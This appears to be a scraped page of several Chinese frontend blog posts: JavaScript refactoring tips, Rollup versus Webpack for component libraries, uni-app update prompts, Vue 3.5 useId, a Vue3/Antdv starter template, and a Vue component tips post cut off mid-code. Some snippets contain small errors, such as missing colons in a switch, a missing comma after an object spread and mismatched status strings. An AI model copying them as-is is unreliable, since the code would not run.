通常这种,为了处理特殊状况,所实现的判断逻辑,都可以采用 “异常逻辑前置,正常逻辑后置” 的方式进行梳理优化


// 将判断逻辑的异常逻辑提前,将正常逻辑后置
function checkStatus() {
if (!isLogin()) {
throw new Error('未登录');
}

if (!isVip()) {
throw new Error('不是会员');
}

if (!isDoubleCheck()) {
throw new Error('不要重复点击');
}

done();
}

函数传参优化


// 形参有非常多个
const getMyInfo = (
name,
age,
gender,
address,
phone,
email,
) => {
// ...
}

有时,形参有非常多个,这会造成什么问题呢?



  • 传实参是的时候,不仅需要知道传入参数的个数,还得知道传入顺序

  • 有些参数非必传,还要注意添加默认值,且编写的时候只能从形参的后面添加,很不方便

  • 所以啊,那么多的形参,会有很大的心智负担


怎么优化呢?


// 行参封装成对象,对象函数内部解构
const getMyInfo = (options) => {
const { name, age, gender, address, phone, email } = options;
// ...
}

getMyInfo(
{
name: '张三',
age: 18,
gender: '男',
address: '北京',
phone: '123456789',
email: '123456789@qq.com'
}
)

你看这样是不是就清爽了很多了


命名注释优化


1. 避免魔法数字


// 魔法数字
if (state === 1 || state === 2) {
// ...
} else if (state === 3) {
// ...
}

咋一看,这 1、2、3 又是什么意思啊?这是判断啥的?


语义就很不明确,当然,你也可以在旁边写注释


更优雅的做法是,将魔法数字改用常量


这样,其他人一看到常量名大概就知道,判断的是啥了


// 魔法数字改用常量
const UNPUBLISHED = 1;
const PUBLISHED = 2;
const DELETED = 3;

if (state === UNPUBLISHED || state === PUBLISHED) {
// ...
} else if (state === DELETED) {
// ...
}

2. 注释别写只表面意思


注释的作用:提供代码没有提供的额外信息


// 无效注释
let id = 1 // id 赋值为 1

// 有效注释,写业务逻辑 what & why
let id = 1 // 赋值文章 id 为 1

3. 合理利用命名空间缩短属性前缀


// 过长命名前缀
class User {
userName;
userAge;
userPwd;

userLogin() { };
userRegister() { };
}

如果我们把前面的类里面,变量名、函数名前面的 user 去掉


似乎,也一样能理解变量和函数名称所代表的意思


代码却,清爽了不少


// 利用命名空间缩短属性前缀
class User {
name;
age;
pwd;

login() {};
register() {};
}

分支逻辑优化


什么是分支逻辑呢?


使用 if else、switch case ...,这些都是分支逻辑


// switch case
const statusMap = (status: string) => {
switch(status) {
case 'success':
return 'SuccessFully'
case 'fail':
return 'failed'
case 'danger'
return 'dangerous'
case 'info'
return 'information'
case 'text'
return 'texts'
default:
return status
}
}

// if else
const statusMap = (status: string) => {
if(status === 'success') return 'SuccessFully'
else if (status === 'fail') return 'failed'
else if (status === 'danger') return 'dangerous'
else if (status === 'info') return 'information'
else if (status === 'text') return 'texts'
else return status
}

这些处理逻辑,我们可以采用 映射代替分支逻辑


// 使用映射进行优化
const STATUS_MAP = {
'success': 'Successfull',
'fail': 'failed',
'warn': 'warning',
'danger': 'dangerous',
'info': 'information',
'text': 'texts'
}

return STATUS_MAP[status] ?? status

【扩展】


??TypeScript 中的 “空值合并操作符”


当前面的值为 null 或者 undefined 时,取后面的值


对象赋值优化


// 多个对像属性赋值
const setStyle = () => {
content.body.head_style.style.color = 'red'
content.body.head_style.style.background = 'yellow'
content.body.head_style.style.width = '100px'
content.body.head_style.style.height = '300px'
// ...
}

这样一个个赋值太麻烦了,全部放一起赋值不就行了


可能,有些同学就这样写


const setStyle = () => {
content.body.head_style.style = {
color: 'red',
background: 'yellow',
width: '100px',
height: '300px'
}
}

咋一看,好像没问题了呀?那 style 要是有其他属性呢,其他属性不就直接没了吗~


const setStyle = () => {
content.body.head_style.style = {
...content.body.head_style.style
color: 'red',
background: 'yellow',
width: '100px',
height: '300px'
}
}

采用展开运算符,将原属性插入,然后从后面覆盖新属性,这样原属性就不会丢了


隐式耦合优化


// 隐式耦合
function responseInterceptor(response) {
const token = response.headers.get("authorization");
if (token) {
localStorage.setItem('token', token);
}
}

function requestInterceptor(response) {
const token = localStorage.getItem('token');
if (token) {
response.headers.set("authorization", token);
}
}

这个上面两个函数有耦合的地方,但是不太明显


比如这样的情况,有一天,我不想在 responseInterceptor 函数中保存 tokenlocalStorage


function responseInterceptor(response) {
const token = response.headers.get("authorization");
}

function requestInterceptor(response) {
const token = localStorage.getItem('token');
if (token) {
response.headers.set("authorization", token);
}
}

会发生什么?


localStorage.getItem('token')一直拿不到数据,requestInterceptor 这个函数就报废了,没用了


函数 responseInterceptor改动,影响到函数 requestInterceptor 了,隐式耦合了


怎么优化呢?


// 将隐式耦合的常数抽离成常量
const TOKEN_KEY = "authorization";
const TOKEN = 'token';

function responseInterceptor(response) {
const token = response.headers.get(TOKEN_KEY);
if (token) {
localStorage.setItem(TOKEN_KEY, token);
}
}

function requestInterceptor(response) {
const token = localStorage.getItem(TOKEN_KEY);
if (token) {
response.headers.set(TOKEN_KEY, token);
}
}

这样做有什么好处呢?比刚才好在哪里?


还是刚才的例子,我去掉了保存 localStorage.setItem(TOKEN_KEY, token)


我可以根据TOKEN_KEY这个常量来查找还有哪些地方用到了这个 TOKEN_KEY,从而进行修改,就不会出现冗余,或错误


不对啊,那我不用常量,用token也可以查找啊,但你想想 token 这个词是不是得全局查找,其他地方也会出现token


查找起来比较费时间,有时可能还会改错了


用常量的话,全局查找出现重复的概率很小


而且如果你是用 ts 的话,window 下鼠标停在常量上,按 ALT 键就能看到使用到这个常量的地方了,非常方便


小结


codeRiview(代码审查)不仅对个人技能的成长有帮助,也对我们在升职加薪、面试有所裨益


CR 除了传统的方式外,也可以借助 AI 工具,来简化其中流程,提高效率


上述的优化案例,虽然优化方式不同,但是核心思想都是一样,都是为了代码 更简洁、更容易理解、更容易维护


当然了,优化方式还有很多,如果后期遇到了也会继续补充进来


作者:大麦大麦
来源:juejin.cn/post/7394792228215128098
收起阅读 »

为什么组件库打包用 Rollup 而不是 Webpack?

web
Rolup 是一个打包工具,类似 Webpack。 组件库打包基本都是用 Rollup。 那 Webpack 和 Rollup 有什么区别呢?为什么组件库打包都用 Rollup 呢? 我们来试一下: mkdir rollup-test cd rollup-te...
继续阅读 »

Rolup 是一个打包工具,类似 Webpack。


组件库打包基本都是用 Rollup。


那 Webpack 和 Rollup 有什么区别呢?为什么组件库打包都用 Rollup 呢?


我们来试一下:


mkdir rollup-test
cd rollup-test
npm init -y

image.png


我们创建两个模块:


src/index.js


import { add } from './utils';

function main() {
console.log(add(1, 2))
}

export default main;

src/utils.js


function add(a, b) {
return a + b;
}

export {
add
}

很简单的两个模块,我们分别用 rollup 和 webpack 来打包下:


安装 rollup:


npm install --save-dev rollup

创建 rollup.config.js


/** @type {import("rollup").RollupOptions} */
export default {
input: 'src/index.js',
output: [
{
file: 'dist/esm.js',
format: 'esm'
},
{
file: 'dist/cjs.js',
format: "cjs"
},
{
file: 'dist/umd.js',
name: 'Guang',
format: "umd"
}
]
};

配置入口模块,打包产物的位置、模块规范。


在 webpack 里叫做 entry、output,而在 rollup 里叫做 input、output。


我们指定产物的模块规范有 es module、commonjs、umd 三种。


umd 是挂在全局变量上,还要指定一个全局变量的 name。


上面的 @type 是 jsdoc 的语法,也就是 ts 支持的在 js 里声明类型的方式。


效果就是写配置时会有类型提示:


image.png


不引入的话,啥提示都没有:


image.png


这里我们用了 export,把 rollup.config.js 改名为 rollup.config.mjs,告诉 node 这个模块是 es module 的。


配置好后,我们打包下:


npx rollup -c rollup.config.mjs

image.png


看下产物:


image.png


image.png


image.png


三种模块规范的产物都没问题。


那用 webpack 打包,产物是什么样呢?


我们试一下:


npm install --save-dev webpack-cli webpack

创建 webpack.config.mjs


import path from 'node:path';

/** @type {import("webpack").Configuration} */
export default {
entry: './src/index.js',
mode: 'development',
devtool: false,
output: {
path: path.resolve(import.meta.dirname, 'dist2'),
filename: 'bundle.js',
libraryTarget: 'commonjs2'
}
};

指定 libraryTarget 为 commonjs2


打包下:


npx webpack-cli -c webpack.config.mjs

image.png


可以看到,webpack 的打包产物有 100 行代码:


image.png


再来试试 umd 的:


image.png


umd 要指定全局变量的名字。


打包下:


image.png


image.png


也是 100 多行。


最后再试下 es module 的:


image.png


libraryTarget 为 module 的时候,还要指定 experiments.outputModule 为 true。


import path from 'node:path';

/** @type {import("webpack").Configuration} */
export default {
entry: './src/index.js',
mode: 'development',
devtool: false,
experiments: {
outputModule: true
},
output: {
path: path.resolve(import.meta.dirname, 'dist2'),
filename: 'bundle.js',
libraryTarget: 'module'
}
};

打包下:


image.png


产物也同样是 100 多行。


相比之下,rollup 的产物就非常干净,没任何 runtime 代码:


image.png


更重要的是 webpack 目前打包出 es module 产物还是实验性的,并不稳定


image.png


webpack 打 cjs 和 umd 的 library 还行。


但 js 库一般不都要提供 es module 版本么,支持的不好怎么行?


所以我们一般用 rollup 来做 js 库的打包,用 webpack 做浏览器环境的打包。


前面说组件库打包一般都用 rollup,我们来看下各大组件库的打包需求。


安装 antd:


npm install --no-save antd

在 node_modules 下可以看到它分了 dist、es、lib 三个目录:



分别看下这三个目录的组件代码:


lib 下的组件是 commonjs 的:



es 下的组件是 es module 的:



dist 下的组件是 umd 的:



然后在 package.json 里分别声明了 commonjs、esm、umd 还有类型的入口:



这样,当你用 require 引入的就是 lib 下的组件,用 import 引入的就是 es 下的组件。


而直接 script 标签引入的就是 unpkg 下的组件。


再来看一下 semi design 的:


npm install --no-save @douyinfe/semi-ui


也是一样:



只不过多了个 css 目录。


所以说,组件库的打包需求就是组件分别提供 esm、commonjs、umd 三种模块规范的代码,并且还有单独打包出的 css。


那 rollup 如何打包 css 呢?


我们试一下:


创建 src/index.css


.aaa {
background: blue;
}

创建 src/utils.css


.bbb {
background: red;
}

然后分别在 index.js 和 utils.js 里引入下:


image.png


image.png


安装 rollup 处理 css 的插件:


npm install --save-dev rollup-plugin-postcss

引入下:


image.png


import postcss from 'rollup-plugin-postcss';

/** @type {import("rollup").RollupOptions} */
export default {
input: 'src/index.js',
output: [
{
file: 'dist/esm.js',
format: 'esm'
},
{
file: 'dist/cjs.js',
format: "cjs"
},
{
file: 'dist/umd.js',
name: 'Guang',
format: "umd"
}
],
plugins: [
postcss({
extract: true,
extract: 'index.css'
}),
]
};

然后跑一下:


npx rollup -c rollup.config.mjs

image.png


可以看到,产物多了 index.css


image.png


而 js 中没有引入 css 了:


image.png


被 tree shaking 掉了,rollup 默认开启 tree shaking。


这样我们就可以单独打包组件库的 js 和 css。


删掉 dist,我们试下不抽离是什么样的:


image.png


npx rollup -c rollup.config.mjs

image.png


可以看到,代码里多了 styleInject 的方法:


image.png


用于往 head 里注入 style


image.png


一般打包组件库产物,我们都会分离出来。


然后我们再用 webpack 打包试试:


安装用到的 loader:


npm install --save-dev css-loader style-loader

css-loader 是读取 css 内容为 js


style-loader 是往页面 head 下添加 style 标签,填入 css


这俩结合起来和 rollup 那个插件功能一样。


配置 loader:


image.png


module: {
rules: [{
test: /\.css$/i,
use: ["style-loader", "css-loader"],
}],
}

用 webpack 打包下:


npx webpack-cli -c webpack.config.mjs

image.png


可以看到 css 变成 js 模块引入了:


image.png


这是 css-loader 做的。


而插入到 style 标签的 injectStylesIntoStyleTag 方法则是 style-loader 做的:


image.png


然后再试下分离 css,这用到一个单独的插件:


npm install --save-dev mini-css-extract-plugin

配一下:


image.png


import path from 'node:path';
import MiniCssExtractPlugin from "mini-css-extract-plugin";

/** @type {import("webpack").Configuration} */
export default {
entry: './src/index.js',
mode: 'development',
devtool: false,
output: {
path: path.resolve(import.meta.dirname, 'dist2'),
filename: 'bundle.js',
},
module: {
rules: [{
test: /\.css$/i,
use: [MiniCssExtractPlugin.loader, "css-loader"],
}],
},
plugins: [
new MiniCssExtractPlugin({
filename: 'index.css'
})
]
};


指定抽离的 filename 为 index.css


抽离用的 loader 要紧放在 css-loader 之前。


样式抽离到了 css 中,这时候 style-loader 也就不需要了。


打包下:


npx webpack-cli -c webpack.config.mjs

image.png


样式抽离到了 css 中:


image.png


而 js 里的这个模块变为了空实现:


image.png


所以 webpack 的 style-loader + css-loader + mini-css-extract-plugin 就相当于 rollup 的 rollup-plugin-postcss 插件。


为什么 rollup 没有 loader 呢?


因为 rollup 的 plugin 有 transform 方法,也就相当于 loader 的功能了。


我们自己写一下抽离 css 的 rollup 插件:


创建 my-extract-css-rollup-plugin.mjs(注意这里用 es module 需要指定后缀为 .mjs):


const extractArr = [];

export default function myExtractCssRollupPlugin (opts) {
return {
name: 'my-extract-css-rollup-plugin',
transform(code, id) {
if(!id.endsWith('.css')) {
return null;
}

extractArr.push(code);

return {
code: 'export default undefined',
map: { mappings: '' }
}
},
generateBundle(options, bundle) {

this.emitFile({
fileName: opts.filename || 'guang.css',
type: 'asset',
source: extractArr.join('\n/*光光666*/\n')
})
}
};
}


在 transform 里对代码做转换,这就相当于 webpack 的 loader 了。


我们在 transform 里只处理 css 文件,保存 css 代码,返回一个空的 js 文件。


然后 generateBundle 里调用 emitFile 生成一个合并后的 css 文件。


用一下:


image.png


import myExtractCssRollupPlugin from './my-extract-css-rollup-plugin.mjs';

myExtractCssRollupPlugin({
filename: '666.css'
})

删掉之前的 dist 目录,重新打包:


npx rollup -c rollup.config.mjs

image.png


看下产物:
image.png


可以看到,抽离出了 css,内容是合并后的所有 css。


而 cjs 也没有 css 的引入:


image.png


也是被 tree shaking 掉了。


我们把 tree shaking 关掉试试:


image.png


再次打包:


image.png


可以看到,两个 css 模块转换后的 js 模块依然被引入了:


image.png


我们改下插件 transform 的内容:


image.png


再次打包:


image.png


可以看到引入的也是我们转后后的 css 模块的内容:


image.png


因为没用到,同样会被 tree shaking 掉。


所以说 rollup 的插件的 transform 就相当于 webpack loader 的功能。


前面说 webpack 用来做浏览器的打包,而 rollup 一般做 js 库的打包。


这也不全对,vite 就是用 rollup 来做的生产环境的打包。


因为它开发环境下不打包,而是跑了一个开发服务器,对代码做了下转换,不需要 webpack 那些 dev server 的功能。


而生产环境又需要打包,所以 rollup 就很合适。


image.png


开发环境下,浏览器里用 type 为 module 的 script 引入,会请求 vite 的开发服务器。


vite 开发服务器会调用 rollup 插件的 transform 方法来做转换。


而生产环境下,用 rollup 打包,也是用同样的 rollup 插件。


当然,vite 还会用 esbuild 来做下依赖的与构建,比如把 cjs 转换成 esm、把小模块打包成一个大的模块。


用 esbuild 是因为它更快。


所以说,vite 是基于 rollup 来实现的,包括开发服务器的 transform,以及生产环境的打包。


但是为了性能考虑,又用了 esbuild 做依赖预构建。


现在 vite 团队在开发 rust 版 rollup 也就是 rolldown 了,有了它之后,就可以完全替代掉 rollup + esbuild 了。


综上,除了 webpack、vite 外,rollup 也是非常常用的一个打包工具。



案例代码上传了github



总结


这节我们学习了 rollup,虽然它不如 webpack、vite 提到的多,但也是一个常用的打包工具。


它打包产物没有 runtime 代码,更简洁纯粹,能打包出 esm、cjs、umd 的产物,常用来做 js 库、组件库的打包。相比之下,webpack 目前对 esm 产物的支持还是实验性的,不稳定。


rollup 只有 plugin,没有 loader,因为它的 transform 方法就相当于 webpack 插件的 loader。


vite 就是基于 rollup 来实现的,开发环境用 rollup 插件的 transform 来做代码转换,生产环境用 rollup 打包。


不管你是想做组件库、js 库的打包,还是想深入学习 vite,都离不开 rollup。



更多内容可以看我的小册《Node.js CLI 通关秘籍》



作者:zxg_神说要有光
来源:juejin.cn/post/7437903515169325082
收起阅读 »

uni-app开发的小程序版本更新提示

web
在uni-app开发过程中,应用的版本更新是一个常见的需求。当开发者发布了新版本的小程序后,希望用户在下一次打开旧版小程序时能够收到更新提示,引导用户更新到最新版本。本篇技术博客将介绍如何在uni-app中实现小程序版本更新提示的功能。 开发者将小程序文案更...
继续阅读 »

在uni-app开发过程中,应用的版本更新是一个常见的需求。当开发者发布了新版本的小程序后,希望用户在下一次打开旧版小程序时能够收到更新提示,引导用户更新到最新版本。本篇技术博客将介绍如何在uni-app中实现小程序版本更新提示的功能。



开发者将小程序文案更新后,发版后,页面、功能发现没有修改,必须在我的小程序删除后,重新进入才更新看到我们发版的功能,这样很影响用户体验


小程序更新机制


开发者在管理后台发布新版本的小程序之后,微信客户端会有若干个时机去检查本地缓存的小程序有没有新版本,并进行小程序的代码包更新。但如果用户本地有小程序的历史版本,此时打开的可能还是旧版本。


平台差异说明


AppH5微信小程序支付宝小程序百度小程序抖音小程序飞书小程序QQ小程序快手小程序京东小程序
xx

updateManager 对象的方法列表:


方法参数说明
onCheckForUpdatecallback(callback)当向小程序后台请求完新版本信息,会进行回调
onUpdateReadycallback新的版本已经下载好,会进行回调
onUpdateFailedcallback当新版本下载失败,会进行回调
applyUpdatecallback当新版本下载完成,调用该方法会强制当前小程序应用上新版本并重启

onCheckForUpdate(callback) 回调结果说明:


属性类型说明
hasUpdateBoolean是否有新的版本

准备工作


在开始之前,确保你已经有了以下准备:



  • uniapp项目: 一个已经部署并上线的UniApp小程序项目。


客户端检查更新代码示例


在uni-app小程序的App.vue或main.js文件中,我们可以在App.vue中的onShow生命周期钩子中检查更新:


<script>
export default {
onShow() {
// #ifdef MP
this.checkForUpdate()
// #endif
},
methods:{
// 检测是否更新
checkForUpdate(){
const _this = this
// 检查小程序是否有新版本发布
const updateManager = uni.getUpdateManager();
// 请求完新版本信息的回调
updateManager.onCheckForUpdate((res) => {
console.log('onCheckForUpdate-res',res);
//检测到新版本,需要更新,给出提示
if (res && res.hasUpdate) {
uni.showModal({
title: '更新提示',
content: '检测到新版本,是否下载新版本并重启小程序?',
success(res) {
if (res.confirm) {
//用户确定下载更新小程序,小程序下载及更新静默进行
_this.downLoadAndUpdate(updateManager)
}else{
// 若用户点击了取消按钮,二次弹窗,强制更新,如果用户选择取消后不需要进行任何操作,则以下内容可忽略
uni.showModal({
title: '温馨提示~',
content: '本次版本更新涉及到新的功能添加,旧版本无法正常访问的哦~',
confirmText: "确定更新",
cancelText:"取消更新",
success(res) {
if (res.confirm) {
//下载新版本,并重新应用
_this.downLoadAndUpdate(updateManager)
}
}
});
}
}
});
}
});
},
// 下载小程序新版本并重启应用
downLoadAndUpdate(updateManager){
const _this = this
uni.showLoading({ title: '小程序更新中' });

// //静默下载更新小程序新版本
updateManager.onUpdateReady((res) => {
console.log('onUpdateReady-res',res);
uni.hideLoading();
//新的版本已经下载好,调用 applyUpdate 应用新版本并重启
updateManager.applyUpdate()
});

// 更新失败
updateManager.onUpdateFailed((res) => {
console.log('onUpdateFailed-res',res);
// 新的版本下载失败
uni.hideLoading();
uni.showModal({
title: '已经有新版本了哟~',
content: '新版本已经上线啦~,请您删除当前小程序,重新搜索打开哟~',
showCancel: false
});
});
}
}
};
</script>

由于小程序开发版/体验版没有“版本”的概念,所以无法在开发版/体验版上测试版本更新情况,可以在开发工具上,添加编译模式,勾选最下方的“下次编译时模拟更新”,但是要注意,这种模式仅供一次编译,下次编译需重新勾选“下次编译时模拟更新”


1.png


结语


通过以上步骤,你可以在uni-app小程序中实现版本更新提示的功能。这不仅有助于提升用户体验,还能确保用户总是使用最新的功能和改进。记得在发布新版本时更新小程序版本号,以便及时通知用户。希望本篇博客能够帮助你在uni-app项目中顺利实现版本更新提示。


2.png


好了今天的内容分享到这,下次再见 👋


作者:你的Maya
来源:juejin.cn/post/7387216861858201639
收起阅读 »

Vue3.5新增的useId到底有啥用?

web
0. 啥是useId Vue 3.5中新增的useId函数主要用于生成唯一的ID,这个ID在同一个Vue应用中是唯一的,并且每次调用useId都会生成不同的ID。这个功能在处理列表渲染、表单元素和无障碍属性时非常有用,因为它可以确保每个元素都有一个唯一的标识符...
继续阅读 »

0. 啥是useId


Vue 3.5中新增的useId函数主要用于生成唯一的ID,这个ID在同一个Vue应用中是唯一的,并且每次调用useId都会生成不同的ID。这个功能在处理列表渲染、表单元素和无障碍属性时非常有用,因为它可以确保每个元素都有一个唯一的标识符。


useId的实现原理相对简单。它通过访问Vue实例的ids属性来生成ID,这个属性是一个数组,其中包含了用于生成ID的前缀和自增数字。每次调用useId时,都会取出当前的数字值,然后进行自增操作。这意味着在同一页面上的多个Vue应用实例可以通过配置app.config.idPrefix来避免ID冲突,因为每个应用实例都会维护自己的ID生成序列。


1. 实现源码


export function useId(): string {
const i = getCurrentInstance()
if (i) {
return (i.appContext.config.idPrefix || 'v') + '-' + i.ids[0] + i.ids[1]++
} else if (__DEV__) {
warn(
`useId() is called when there is no active component ` +
`instance to be associated with.`,
)
}
return ''
}


  • i.appContext.config.idPrefix:这是从当前组件实例中获取的一个配置属性,用于定义生成ID的前缀。如果这个前缀存在,它将被使用;如果不存在,默认使用 'v'

  • i.ids[0]:这是当前组件实例上的 ids 数组的第一个元素,它是一个字符串,通常为空字符串,用于生成ID的一部分。

  • i.ids[1]++:这是 ids 数组的第二个元素,它是一个数字,用于生成ID的自增部分。这里使用了后置自增运算符 ++,这意味着它会返回当前值然后自增。每次调用 useId 时,这个数字都会增加,确保生成的ID是唯一的。


2.设置ID前缀


如果不想使用默认的前缀'v'的话,可以通过app.config.idPrefix进行设置。


const app = createApp(App)

app.config.idPrefix = 'vid'

3.使用场景


3-1. 表单元素的唯一标识


在表单中,<label> 标签需要通过 for 属性与对应的 <input> 标签的 id 属性相匹配,以实现点击标签时输入框获得焦点的功能。使用 useId 可以为每个 <input> 元素生成一个唯一的 id,确保这一功能的正常工作。例如:


<label :for="id">Do you like Vue 3.5?</label>
<input type="checkbox" :id="id" />

const id = useId()

3-2. 列表渲染中的唯一键


在渲染列表时,每一项通常需要一个唯一的键(key),以帮助 Vue 追踪每个节点的身份,从而进行高效的 DOM 更新。如果你的列表数据没有唯一key的话,那么useId 可以为列表中的每个项目生成一个唯一的键。


<ul>
<li v-for="item in items" :key="item.id">
{{ item.text }}({{ item.id }})
</li>
</ul>

const items = Array.from({ length: 10}, (v, k) => { 
return {
text: `Text ${k}`,
id: useId()
}
})

上述代码渲染结果如下:


image.png


3-3. 服务端渲染(SSR)中避免 ID 冲突


在服务端渲染(SSR)的应用中,页面的HTML内容是在服务器上生成的,然后发送给客户端浏览器。在客户端,浏览器会接收到这些HTML内容,并将其转换成一个可交互的页面。如果在服务器端和客户端生成的HTML中存在相同的ID,那么在客户端激活(hydrate)时,就可能出现问题,因为客户端可能会尝试操作一个已经由服务器端渲染的DOM元素,导致潜在的冲突或错误。


下面是一个使用useId来避免这种ID冲突的实际案例:


服务端代码 (server.js)


import { createSSRApp } from 'vue';
import { renderToString } from '@vue/server-renderer';
import App from './App.vue';

const app = createSSRApp(App);

// 假设我们在这里获取了一些数据
const data = fetchData();

renderToString(app).then(html => {
// 将服务端渲染的HTML发送给客户端
sendToClient(html);
});

客户端代码 (client.js)


import { createSSRApp } from 'vue';
import App from './App.vue';

const app = createSSRApp(App);

// 客户端激活,将服务端渲染的HTML转换成可交互的页面
hydrateApp(app);

在这个案例中,无论是服务端还是客户端,我们都使用了createSSRApp(App)来创建应用实例。如果我们在App.vue中使用了useId来生成ID,那么这些ID将在服务端渲染时生成一次,并在客户端激活时再次使用相同的ID。


App.vue 组件


<template>
<div>
<input :id="inputId" type="text" />
<label :for="inputId">Enter text:</label>
</div>
</template>

<script setup>
import { useId } from 'vue';

const inputId = useId();
</script>

App.vue组件中,我们使用了useId来为<input>元素生成一个唯一的ID。这个ID在服务端渲染时生成,并包含在发送给客户端的HTML中。当客户端接收到这个HTML并开始激活过程时,由于useId生成的ID在服务端和客户端是相同的,所以客户端可以正确地将<label>元素关联到<input>元素,而不会出现ID冲突的问题。


如果没有使用useId,而是使用了Math.random()Date.now()来生成ID,那么服务端和客户端可能会生成不同的ID,导致客户端在激活时无法正确地将<label><input>关联起来,因为它们具有不同的ID。这可能会导致表单元素的行为异常,例如点击<label>时,<input>无法获得焦点。


3-4. 组件库中的 ID 生成


在使用 Element Plus 等组件库进行 SSR 开发时,为了避免 hydration 错误,需要确保服务器端和客户端生成相同的 ID。通过在 Vue 中注入 ID_injection_key,可以确保 Element Plus 生成的 ID 在 SSR 中是唯一的。


// src/main.js
import { createApp } from 'vue'
import { ID_INJECTION_KEY } from 'element-plus'
import App from './App.vue'
const app = createApp(App)
app.provide(ID_INJECTION_KEY, {
prefix: 1024,
current: 0,
})



希望这篇文章介绍对你有所帮助,上述代码已托管在Gitee上,欢迎自取!


作者:酷酷的阿云
来源:juejin.cn/post/7429411484307161127
收起阅读 »

Vue3 + Antdv4 + Vite5超轻普系统开源!!!

web
为毛要做个超轻?社区上不是很多启动模板?请看图 是不是很炫?但是对于启动一个新项目有什么用呢?拉取下来后还得删各种没用的文件和一些不必要的配置 包含通用基础配置的启动框架 1、路由配置 在modules中插入路由文件自动读取 import { Rou...
继续阅读 »

为毛要做个超轻?社区上不是很多启动模板?请看图


image.png
image.png

是不是很炫?但是对于启动一个新项目有什么用呢?拉取下来后还得删各种没用的文件和一些不必要的配置



包含通用基础配置的启动框架


1、路由配置


image.png


在modules中插入路由文件自动读取


import { RouteRecordRaw, createRouter, createWebHistory } from "vue-router";

const modules = import.meta.glob("./modules/**/*.ts", {
eager: true,
import: "default",
});
const routeModuleList: Array<RouteRecordRaw> = [];
Object.keys(modules).forEach((key) => {
// @ts-ignore
routeModuleList.push(...modules[key]);
});

// 存放动态路由
export const asyncRouterList: Array<RouteRecordRaw> = [...routeModuleList];

const routes = [
{
path: "/",
name: "/",
redirect: asyncRouterList[0].path,
},
...asyncRouterList,
{
path: "/login",
name: "login",
component: () => import("@/views/login/index.vue"),
},
{
path: "/:catchAll(.*)*",
name: "404",
component: () => import("@/views/result/404.vue"),
},
];

const router = createRouter({
routes,
history: createWebHistory(),
});

router.beforeEach((to, from, next) => {
// TODO 各种操作
next();
});

export default router;

Axios 配置


对返回的状态码进行异常提示,请求拦截器做了通用的Token注入操作、响应拦截器做了数据处理


import axios, { AxiosInstance, AxiosRequestConfig, AxiosResponse } from "axios";
// import { MessagePlugin, NotifyPlugin } from 'tdesign-vue-next';
import { getUserStore } from "@/store";
import { message, notification } from "ant-design-vue";

interface AxiosConfig extends AxiosRequestConfig {
method?: "GET" | "POST" | "DELETE" | "PUT";
url: string;
params?: Record<string, any>;
data?: Record<string, any>;
config?: Record<string, string>;
}

const codeMessage: Record<number, string> = {
200: "服务器成功返回请求的数据。",
201: "新建或修改数据成功。",
202: "一个请求已经进入后台排队(异步任务)。",
204: "删除数据成功。",
400: "发出的请求有错误,服务器没有进行新建或修改数据的操作。",
401: "用户没有权限(令牌、用户名、密码错误)。",
403: "用户得到授权,但是访问是被禁止的。",
404: "发出的请求针对的是不存在的记录,服务器没有进行操作。",
406: "请求的格式不可得。",
410: "请求的资源被永久删除,且不会再得到的。",
422: "当创建一个对象时,发生一个验证错误。",
500: "服务器发生错误,请检查服务器。",
502: "网关错误。",
503: "服务不可用,服务器暂时过载或维护。",
504: "网关超时。",
};

const notificationBox = (status: number, url: string, errorText: string) => {
return notification.error({
message: errorText,
description: `请求错误 ${status}: ${url}`,
});
};

// 请求错误
const requestInterceptorsError = (error: any) => Promise.reject(error);

// 响应数据
const responseInterceptors = (response: AxiosResponse) => {
if (response && response.status === 200) {
const { code } = response.data;
if (code === -999) {
message.info("登录过期, 即将跳转登录页面");
const timer = setTimeout(() => {
getUserStore().logout();
clearTimeout(timer);
}, 2000);
return null;
}
return response.data;
}
return response.data;
};
// 响应错误
const responseInterceptorsError = (error: any) => {
const { response } = error;
if (response && response.status) {
const errorText = codeMessage[response.status] || response.statusText;
const { status } = response;
const url = response.request.responseURL;

if (response.status !== 400 && response.status !== 401) {
notificationBox(status, url, errorText);
}
switch (status) {
case 401:
notificationBox(status, url, errorText);
// TODO
break;
case 403:
// TODO
break;
default:
break;
}
} else {
notification.error({
message: "网络异常",
description: "您的网络发生异常,无法连接服务器",
});
}
return Promise.reject(error);
};
/** 不能token的接口 */
const noTokenList = ["/login"];

const createAxiosByInterceptors = (
config?: AxiosRequestConfig
): AxiosInstance => {
const instance = axios.create({
// TODO
baseURL: "/api",
timeout: 60000,
headers: {
"Content-Type": "application/json",
},
...config,
});

// 请求拦截器
instance.interceptors.request.use((config) => {
const { token } = getUserStore();
// 如果有 token 强制带上 token
if (token && config.url && !noTokenList.includes(config.url))
config.headers.Authorization = token;
return config;
}, requestInterceptorsError);
// 响应拦截器
instance.interceptors.response.use(
responseInterceptors,
responseInterceptorsError
);
return instance;
};

const axiosRequest = <T>(axiosParams: AxiosConfig): Promise<T | null> => {
const { method = "GET", url, params, data, config } = axiosParams;
const request = createAxiosByInterceptors(axiosParams);

switch (method) {
case "GET":
return request.get(url, { ...params, ...config });
case "POST":
return request.post(url, data, config);
case "DELETE":
return request.delete(url, { ...data, ...config });
case "PUT":
return request.put(url, { ...data, ...config });
default:
// 需要添加错误请求
return Promise.resolve(null);
}
};

export default axiosRequest;


Pinia状态管理配置


分模块处理用户信息和配置信息,可自加,具体看源码


image.png


layout布局


采用通用的左右分模式


image.png
layout组件非常支持自定义、自定性强可根据需求随意改动


通用登录页


看图


image.png


二次封装组件


组件代码全在components文件中可自行修改符合需求的组件


CombineTable


看图就知道有多方便使用了,这点代码就可以生成一个表单查询+表格


image.png


结语


这个框架很轻、几乎拿来就能开发了;


github:github.com/jesseice/an…


可以通过脚手架使用,输入npm create wyd_cli即可下载


框架还会继续优化!!!


作者:trim
来源:juejin.cn/post/7382411119326740507
收起阅读 »

分享VUE3编写组件高级技巧,优雅!

web
在这里,主要分享一些平时写VUE组件,会用到一些技巧,会让代码得到很大的简化,可以节省很多脑力体力。 1、v-bind=“$attrs” 这是首推的一个技巧写法,特别在拓展开源组件时,无缝使用开源组件各种props值时,简直不要太爽。 比如element-ui...
继续阅读 »

在这里,主要分享一些平时写VUE组件,会用到一些技巧,会让代码得到很大的简化,可以节省很多脑力体力。


1、v-bind=“$attrs”


这是首推的一个技巧写法,特别在拓展开源组件时,无缝使用开源组件各种props值时,简直不要太爽。


比如element-ui组件中的select组件,就有一个让人痛恨的点,就是options数据无法配置,必须得手动引入option组件才行,如下:


 <el-select v-model="value" placeholder="Select" size="large">  
